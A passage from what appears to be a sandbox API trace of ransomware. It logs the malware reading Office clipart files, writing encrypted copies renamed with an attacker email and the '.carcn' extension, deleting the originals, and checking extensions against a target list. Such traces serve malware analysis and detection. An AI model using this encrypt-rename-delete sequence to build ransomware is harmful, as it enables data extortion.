lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.548] WriteFile (in: hFile=0x538, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.548] SetEndOfFile (hFile=0x538) returned 1 [0284.548] CloseHandle (hObject=0x538) returned 1 [0284.548] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.549] SetEndOfFile (hFile=0x550) returned 1 [0284.551] CloseHandle (hObject=0x550) returned 1 [0284.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0284.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0284.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0284.552] lstrlenW (lpString=".doc") returned 4 [0284.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.552] lstrlenW (lpString=".docx") returned 5 [0284.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.552] lstrlenW (lpString=".pdf") returned 4 [0284.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.553] lstrlenW (lpString=".xls") returned 4 [0284.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.553] lstrlenW (lpString=".xlsx") returned 5 [0284.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.553] lstrlenW (lpString=".ppt") returned 4 [0284.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0284.553] lstrlenW (lpString=".zip") returned 4 [0284.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.553] lstrlenW (lpString=".rar") returned 4 [0284.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.553] lstrlenW (lpString=".bz2") returned 4 [0284.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.553] lstrlenW (lpString=".7z") returned 3 [0284.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0284.553] lstrlenW (lpString=".dbf") returned 4 [0284.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0284.553] lstrlenW (lpString=".1cd") returned 4 [0284.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0284.553] lstrlenW (lpString=".jpg") returned 4 [0284.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.582] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3298) returned 1 [0284.583] CloseHandle (hObject=0x548) returned 1 [0284.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220 [0284.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0284.642] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.642] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0284.655] GetLastError () returned 0x0 [0284.655] ReadFile (in: hFile=0x394, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xce2, lpOverlapped=0x0) returned 1 [0284.672] WriteFile (in: hFile=0x530, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0284.674] ReadFile (in: hFile=0x394, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.674] WriteFile (in: hFile=0x530, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.674] SetEndOfFile (hFile=0x530) returned 1 [0284.674] CloseHandle (hObject=0x530) returned 1 [0284.674] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.674] SetEndOfFile (hFile=0x394) returned 1 [0284.685] CloseHandle (hObject=0x394) returned 1 [0284.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0284.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0284.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0284.687] lstrlenW (lpString=".doc") returned 4 [0284.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.687] lstrlenW (lpString=".docx") returned 5 [0284.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.687] lstrlenW (lpString=".pdf") returned 4 [0284.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.687] lstrlenW (lpString=".xls") returned 4 [0284.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.687] lstrlenW (lpString=".xlsx") returned 5 [0284.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.687] lstrlenW (lpString=".ppt") returned 4 [0284.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0284.687] lstrlenW (lpString=".zip") returned 4 [0284.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.687] lstrlenW (lpString=".rar") returned 4 [0284.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.687] lstrlenW (lpString=".bz2") returned 4 [0284.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.687] lstrlenW (lpString=".7z") returned 3 [0284.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0284.688] lstrlenW (lpString=".dbf") returned 4 [0284.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0284.688] lstrlenW (lpString=".1cd") returned 4 [0284.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0284.688] lstrlenW (lpString=".jpg") returned 4 [0284.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.704] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=13538) returned 1 [0284.704] CloseHandle (hObject=0x438) returned 1 [0284.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220 [0284.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0284.705] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.705] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0284.706] GetLastError () returned 0x0 [0284.706] ReadFile (in: hFile=0x438, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x34e2, lpOverlapped=0x0) returned 1 [0284.721] WriteFile (in: hFile=0x548, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x34f0, lpOverlapped=0x0) returned 1 [0284.722] ReadFile (in: hFile=0x438, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.722] WriteFile (in: hFile=0x548, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.723] SetEndOfFile (hFile=0x548) returned 1 [0284.723] CloseHandle (hObject=0x548) returned 1 [0284.723] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.723] SetEndOfFile (hFile=0x438) returned 1 [0284.726] CloseHandle (hObject=0x438) returned 1 [0284.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0284.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0284.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0284.728] lstrlenW (lpString=".doc") returned 4 [0284.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.728] lstrlenW (lpString=".docx") returned 5 [0284.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.728] lstrlenW (lpString=".pdf") returned 4 [0284.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.728] lstrlenW (lpString=".xls") returned 4 [0284.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.728] lstrlenW (lpString=".xlsx") returned 5 [0284.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.728] lstrlenW (lpString=".ppt") returned 4 [0284.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0284.728] lstrlenW (lpString=".zip") returned 4 [0284.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.728] lstrlenW (lpString=".rar") returned 4 [0284.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.729] lstrlenW (lpString=".bz2") returned 4 [0284.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.729] lstrlenW (lpString=".7z") returned 3 [0284.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0284.729] lstrlenW (lpString=".dbf") returned 4 [0284.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0284.729] lstrlenW (lpString=".1cd") returned 4 [0284.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0284.729] lstrlenW (lpString=".jpg") returned 4 [0284.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.730] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3718) returned 1 [0284.730] CloseHandle (hObject=0x438) returned 1 [0284.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220 [0284.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0284.731] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.731] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0284.732] GetLastError () returned 0x0 [0284.732] ReadFile (in: hFile=0x438, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xe86, lpOverlapped=0x0) returned 1 [0284.785] WriteFile (in: hFile=0x548, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xe90, lpOverlapped=0x0) returned 1 [0284.786] ReadFile (in: hFile=0x438, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.787] WriteFile (in: hFile=0x548, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.787] SetEndOfFile (hFile=0x548) returned 1 [0284.787] CloseHandle (hObject=0x548) returned 1 [0284.787] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.787] SetEndOfFile (hFile=0x438) returned 1 [0284.790] CloseHandle (hObject=0x438) returned 1 [0284.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0284.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0284.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0284.872] lstrlenW (lpString=".doc") returned 4 [0284.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.872] lstrlenW (lpString=".docx") returned 5 [0284.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.872] lstrlenW (lpString=".pdf") returned 4 [0284.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.872] lstrlenW (lpString=".xls") returned 4 [0284.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.873] lstrlenW (lpString=".xlsx") returned 5 [0284.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.873] lstrlenW (lpString=".ppt") returned 4 [0284.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0284.873] lstrlenW (lpString=".zip") returned 4 [0284.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.873] lstrlenW (lpString=".rar") returned 4 [0284.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.873] lstrlenW (lpString=".bz2") returned 4 [0284.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.873] lstrlenW (lpString=".7z") returned 3 [0284.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0284.873] lstrlenW (lpString=".dbf") returned 4 [0284.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0284.873] lstrlenW (lpString=".1cd") returned 4 [0284.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0284.873] lstrlenW (lpString=".jpg") returned 4 [0284.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.874] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1400) returned 1 [0284.874] CloseHandle (hObject=0x394) returned 1 [0284.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220 [0284.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0284.875] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.875] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0284.876] GetLastError () returned 0x0 [0284.876] ReadFile (in: hFile=0x394, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x578, lpOverlapped=0x0) returned 1 [0284.878] WriteFile (in: hFile=0x530, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x580, lpOverlapped=0x0) returned 1 [0284.879] ReadFile (in: hFile=0x394, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.879] WriteFile (in: hFile=0x530, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.879] SetEndOfFile (hFile=0x530) returned 1 [0284.880] CloseHandle (hObject=0x530) returned 1 [0284.880] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.880] SetEndOfFile (hFile=0x394) returned 1 [0284.883] CloseHandle (hObject=0x394) returned 1 [0284.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0284.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0284.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0284.885] lstrlenW (lpString=".doc") returned 4 [0284.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.885] lstrlenW (lpString=".docx") returned 5 [0284.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.885] lstrlenW (lpString=".pdf") returned 4 [0284.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.885] lstrlenW (lpString=".xls") returned 4 [0284.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.885] lstrlenW (lpString=".xlsx") returned 5 [0284.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.885] lstrlenW (lpString=".ppt") returned 4 [0284.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0284.885] lstrlenW (lpString=".zip") returned 4 [0284.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.885] lstrlenW (lpString=".rar") returned 4 [0284.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.886] lstrlenW (lpString=".bz2") returned 4 [0284.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.886] lstrlenW (lpString=".7z") returned 3 [0284.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.886] lstrlenW (lpString="C:\\Program 